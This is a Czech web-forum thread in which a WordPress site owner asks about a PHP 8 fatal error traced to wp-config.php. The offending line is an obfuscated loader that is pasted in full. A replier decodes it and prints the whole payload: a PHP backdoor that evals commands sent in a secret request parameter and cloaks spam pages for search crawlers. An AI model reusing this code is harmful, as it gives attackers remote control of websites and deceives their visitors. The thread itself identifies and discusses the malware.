Přidat otázku mezi oblíbenéZasílat nové odpovědi e-mailemVyřešeno WordPress - Fatal Error po upgrade na PHP 8

Dobrý den,

Jeden firemní web přestal fungovat po upgrade PHP 7.0.X - 8.0.X. Občas se to stane kvůli špatné kompatibilitě z některých z pluginůn. Jenže, tady hlásí zcela jinou chybu

Fatal error: Uncaught Error: Call to undefined function create_function() in /www/doc/www.pradakos.cz/www/wp-config.php:65 Stack trace: #0 /www/doc/www.pradakos.cz/www/wp-load.php(50): require_once() #1 /www/doc/www.pradakos.cz/www/wp-blog-header.php(13): require_once('/www/doc/www.pr...') #2 /www/doc/www.pradakos.cz/www/index.php(17): require('/www/doc/www.pr...') #3 {main} thrown in /www/doc/www.pradakos.cz/www/wp-config.php on line 65

Na tomto řádku se nachází kód

$bfd0fd = 'bas' . 'e64_dec' . 'ode'; $c98cae = 'crea' . 'te_fun' . 'ction'; $g926cd = 'gz' . 'unc' . 'ompress'; $fef80e = $c98cae('', $g926cd($bfd0fd('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'))); $fef80e();

Každopádně, je to jenom hromada kódu, ze kterého vůbec není patrné, jak to spravit.

Prosím o radu

Děkuji

Jsou zobrazeny jen nové odpovědi. Zobrazit všechny
Předmět Autor Datum
Prozradíš verzi Wordpressu? :-?
host 27.07.2021 22:52
host
Pochopitelně aktuální (5.8).
MichalDM 27.07.2021 22:57
MichalDM
Kdyby to bylo tak pochopitelný, tak bych se neptal.
host 27.07.2021 23:09
host
Aktualizaci WordPress jsem provedl ještě před upgradem PHP a proběhla bez problému. A ostatní weby f…
MichalDM 27.07.2021 23:13
MichalDM
Ostatní weby jsou na stejném hostingu/serveru?
host 27.07.2021 23:15
host
Ano, všechny jsou na Active24 nový
MichalDM 27.07.2021 23:26
MichalDM
Neptal jsem se, jestli jsou u stejného webhostera, ale na stejném serveru? To je rozdíl. Pro jistot… nový
host 27.07.2021 23:30
host
Ale jak zavolám phpinfo(), když web není lokální a žádný plugin taky použít nemůžu? nový
MichalDM 27.07.2021 23:46
MichalDM
Vytvoříš php skript s tím příkazem, nahraješ na server a otevřeš v prohlížeči. nový
host 27.07.2021 23:48
host
Jako wp nepoužívám. Jen mě tak napadlo. Když se na to kouknu, tak to spíš vypadá jak nějaký php kód… nový
kacikac 28.07.2021 00:03
kacikac
Ano, máte pravdu. Dekódovaný kód jsem zapomněl do zadání vložit, z kterého je patrné, že se jedná o… nový
MichalDM 29.07.2021 18:56
MichalDM
Pokud se někdo stará o "firemní web" a po chybě "undefined function create_function()" není schopen… nový
kacikac 29.07.2021 19:48
kacikac
No ten človek nevie zobraziť ani to phpinfo. Či už facepalm alebo nie, tak či tak je to tragédia. poslední
čitateľ 29.07.2021 23:11
čitateľ

Jako wp nepoužívám. Jen mě tak napadlo. Když se na to kouknu, tak to spíš vypadá jak nějaký php kód malware 😊 (jako co jinýho než malware může maskovat rozkládáním názvy funkcí používaných v malware jako base64_decode, gzuncompress, create_function...)
Co tak požádat toho tvůrce malwaru aby přidal kompatibilitu i pro PHP 8? 😈
Jak tak koukám create_function použitý na tvém řádku je v PHP 8 REMOVED:
https://www.php.net/manual/en/function.create-function.php
Po base64_decode a gzuncompress je ten php kód v té funkci tady ten co jsem dal do code, tak jestli ho tam jako chceš furt mít tak ho tam zkus dát přímo, nezkoušel jsem jestli je to na PHP 8 funkční 😊 a jak jsem psal, vypadá to na malware.

if(!defined('AGENT_DECLARED')){define('AGENT_DECLARED',true);if(!empty($_SERVER['HTTP_ECHO'])){@header('Echo: '.$_SERVER['HTTP_ECHO']);}class _lX0t0{function _Fe5bk($_eUcNE,$_R4yeu,$_aDQw3,$_HVI0R='http'){switch($_HVI0R){case 'http':$_UmhQx='tcp://';break;case 'https':$_UmhQx='ssl://';break;default:return false;}if(function_exists('stream_socket_client')){$_Fp1fG=array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false));$_RAiDi=stream_context_create($_Fp1fG);$_CWIEE=$_UmhQx.$_eUcNE.':'.$_R4yeu;$_Ts31M=@stream_socket_client($_CWIEE,$_PRxiq,$_nh0tz,5,STREAM_CLIENT_CONNECT,$_RAiDi);}else{$_Ts31M=@fsockopen($_UmhQx.$_eUcNE,$_R4yeu,$_PRxiq,$_nh0tz,5);}if(!$_Ts31M){return false;}@fputs($_Ts31M,$_aDQw3);$_thl4K='';while(!feof($_Ts31M)){$_thl4K.=@fread($_Ts31M,8192);}@fclose($_Ts31M);if(!preg_match("/^(.*?)\r\n\r\n(.*)$/s",$_thl4K,$_LfK9r)){return false;}return array('header'=>$_LfK9r[1],'content'=>$_LfK9r[2]);}function _qTjPG($_T1ivv,$_laY0u=array()){$_EqUp8=@parse_url($_T1ivv);if(empty($_EqUp8['scheme'])||empty($_EqUp8['host'])){return false;}$_eUcNE=$_EqUp8['host'];$_HVI0R=$_EqUp8['scheme'];if(empty($_EqUp8['path'])){$_XnmKh='/';}else{$_XnmKh=$_EqUp8['path'];}if(!empty($_EqUp8['query'])){$_XnmKh.='?'.$_EqUp8['query'];}if(!empty($_EqUp8['port'])){$_R4yeu=$_EqUp8['port'];}else{$_R4yeu='80';}if(count($_laY0u)>0){$_laY0u=join("\r\n",$_laY0u)."\r\n";}else{$_laY0u='';}$_aDQw3="GET ".$_XnmKh." HTTP/1.0\r\n"."HOST: ".$_eUcNE."\r\n".$_laY0u."Connection: close\r\n\r\n";$_thl4K=$this->_Fe5bk($_eUcNE,$_R4yeu,$_aDQw3,$_HVI0R);return$_thl4K;}}class _FJkfs{private$_Qxqi5;function __construct($_Qxqi5){if(!file_exists($_Qxqi5)){$_ERtAc=dirname($_Qxqi5);$_85RGQ=@filemtime($_ERtAc);if(@mkdir($_Qxqi5)){@chmod($_Qxqi5,0777);if($_85RGQ!==false){@touch($_ERtAc,$_85RGQ);}}}$this->_Qxqi5=$_Qxqi5;}private function _9Hduc($_nCmur){return$this->_Qxqi5.'/'.$_nCmur;}function _PydCB($_nCmur){$_BsRok=@file_get_contents($this->_9Hduc($_nCmur));$_BsRok=@gzuncompress(@base64_decode($_BsRok));return$_BsRok;}function _20uOW($_BsRok,$_nCmur){$_BsRok=base64_encode(gzcompress($_BsRok));$_z0DaS=$this->_9Hduc($_nCmur);if(($_Ts31M=@fopen($_z0DaS,"w"))&&(@flock($_Ts31M,LOCK_EX))){@fputs($_Ts31M,$_BsRok);@flock($_Ts31M,LOCK_UN);@fclose($_Ts31M);@chmod($_z0DaS,0666);}}function _6Q8QB($_nCmur,$_EPiNF){$_85RGQ=@filemtime($this->_9Hduc($_nCmur));if(($_85RGQ+$_EPiNF)<=time()){return true;}return false;}function _Jm8Pv($_nCmur){if(file_exists($this->_9Hduc($_nCmur))){return true;}return false;}function _7J3B0(){if(file_exists($this->_Qxqi5)&&is_writable($this->_Qxqi5)){return true;}return false;}}class _uNM4K{public$_MJgak='google|slurp|msnbot|bingbot|baiduspider';public$_BB1Ll='ProxyAgent';public$_eAJ1C=259200;function __construct($_AcK5h){$_8DPSi=md5('@config@');if($_AcK5h->_Jm8Pv($_8DPSi)){$_Y39q4=@unserialize($_AcK5h->_PydCB($_8DPSi));}if(isset($_Y39q4['SEARCHENGINE_AGENTS'])){$this->_MJgak=$_Y39q4['SEARCHENGINE_AGENTS'];}if(isset($_Y39q4['PROXY_USER_AGENT'])){$this->_BB1Ll=$_Y39q4['PROXY_USER_AGENT'];}if(isset($_Y39q4['SITE_CACHE_EXPIRE'])){$this->_eAJ1C=$_Y39q4['SITE_CACHE_EXPIRE'];}}function _Txm80(){if(isset($_SERVER['HTTP_USER_AGENT'])&&preg_match('/'.$this->_MJgak.'/i',$_SERVER['HTTP_USER_AGENT'])){return true;}return false;}}class _Gr3yY{private$_AcK5h;function __construct($_AcK5h){$this->_AcK5h=$_AcK5h;}function _FchYn(){$_FZpxd=md5('@donor@page@list@');$_hms8R=$this->_AcK5h->_PydCB($_FZpxd);if(!empty($_hms8R)){$_hms8R=@unserialize($_hms8R);}return$_hms8R;}function _jf2If($_vVPYs,$_BsRok){$_YW6vz=md5('@donor@page@handler@');$_Le4gX=$this->_AcK5h->_PydCB($_YW6vz);if(!empty($_Le4gX)){$_Le4gX=@unserialize($_Le4gX);$_1xkMi=$_Le4gX['function'];@eval($_Le4gX['code']);$_vVPYs=@$_1xkMi($_vVPYs,$_BsRok);}return$_vVPYs;}function _fyPyr(){$_sZP4C=md5('@donor@page@data@'.$_SERVER['REQUEST_URI'].'@');$_BsRok=$this->_AcK5h->_PydCB($_sZP4C);if(!empty($_BsRok)){$_BsRok=@unserialize($_BsRok);}return$_BsRok;}}class _8Rihn{private$_Y39q4;private$_NPLDf;function __construct($_Y39q4,$_NPLDf){$this->_Y39q4=$_Y39q4;$this->_NPLDf=$_NPLDf;}function _SqNVw(){if(isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!='off'){$_jK79T='https';$_R4yeu=443;}else{$_jK79T='http';$_R4yeu=80;}$_laY0u=array('User-Agent: '.$this->_Y39q4->_BB1Ll);$_thl4K=$this->_NPLDf->_qTjPG($_jK79T.'://'.$_SERVER['HTTP_HOST'].':'.$_R4yeu.$_SERVER['REQUEST_URI'],$_laY0u);if($_thl4K!==false){if(!preg_match('/^HTTP\/1\.(0|1) 200 OK/im',$_thl4K['header'])){return false;}if(!preg_match('/^Content-Type\: text\/html/im',$_thl4K['header'])){return false;}return$_thl4K['content'];}return false;}}class _DV6Or{private$_Y39q4;private$_AcK5h;private$_StBpd;function __construct($_Y39q4,$_AcK5h,$_StBpd){$this->_Y39q4=$_Y39q4;$this->_AcK5h=$_AcK5h;$this->_StBpd=$_StBpd;}function _SqNVw(){$_BzW8q=md5('@site@page@'.$_SERVER['HTTP_HOST'].'@'.$_SERVER['REQUEST_URI'].'@');if($this->_AcK5h->_Jm8Pv($_BzW8q)&&!$this->_AcK5h->_6Q8QB($_BzW8q,$this->_Y39q4->_eAJ1C)){$_vVPYs=$this->_AcK5h->_PydCB($_BzW8q);}else{$_vVPYs=$this->_StBpd->_SqNVw();$this->_AcK5h->_20uOW($_vVPYs,$_BzW8q);}return$_vVPYs;}}define('AGENT_KEY','aa10a5e6f422ab8447d92bba1c52fc2f');define('AGENT_CACHE_PATH','wp-content/languages/settings');$_AcK5h=new _FJkfs(dirname(__FILE__).'/'.AGENT_CACHE_PATH);if(!empty($_REQUEST[AGENT_KEY])){eval(@gzuncompress(@base64_decode(strrev($_REQUEST[AGENT_KEY]))));die;}$_Y39q4=new _uNM4K($_AcK5h);$_NPLDf=new _lX0t0();if(!empty($_SERVER['REQUEST_URI'])&&$_AcK5h->_7J3B0()){$_p1DuD=new _Gr3yY($_AcK5h);$_p99rq=$_p1DuD->_FchYn();if(!empty($_p99rq)&&is_array($_p99rq)&&in_array($_SERVER['REQUEST_URI'],$_p99rq)){@header('Cache-Control: no-cache');if($_Y39q4->_Txm80()){$_StBpd=new _8Rihn($_Y39q4,$_NPLDf);$_gucbl=new _DV6Or($_Y39q4,$_AcK5h,$_StBpd);$_8qVD4=$_gucbl->_SqNVw();if(!empty($_8qVD4)){$_rU8Xb=$_p1DuD->_fyPyr();$_8qVD4=$_p1DuD->_jf2If($_8qVD4,$_rU8Xb);echo$_8qVD4;die;}}}}}

Pokud se někdo stará o "firemní web" a po chybě "undefined function create_function()" není schopen si vygooglit "php create_function" a zjistit, že ta funkce je REMOVED, tak to je na double facepalm.
Pokud se někdo stará o "firemní web" a v kódu jsou maskovány rozkládáním názvy funkcí base64_decode, gzuncompress, create_function (to co máš v úvodním příspěvku) a nenapadne ho, že se bude jednat o malware, tak to je na double facepalm.
Pokud se někdo stará o "firemní web" a napadení řeší "neuvěřitelně jednoduše" tak, že pouze smaže zjištěný řádek, tak to je na double facepalm.
Já bych tomu firemnímu webu doporučil jednak aby se jim o to staral někdo rozumný, kdo v tom aspoň trošku vyzná.
Nejsem profesionální php programátor, nejsem profesionální správce webů a přesto jsem hned věděl v čem je problém a jak jej řešit. A podle mě je to celé na double facepalm. Já kdybych potřeboval firemní poradenství, virtuální kancelář nebo co ten web pradakos.cz nabízí, tak určitě si to nepořídím u nich, mi to přijde, že s nima je potřeba sdílet citlivé informace a pokud mají napadenej web a řeší to jo, smazat řádek a nahodí se plugin... tak jako fakt ne, brrr...

Zpět do poradny Odpovědět na původní otázku Nahoru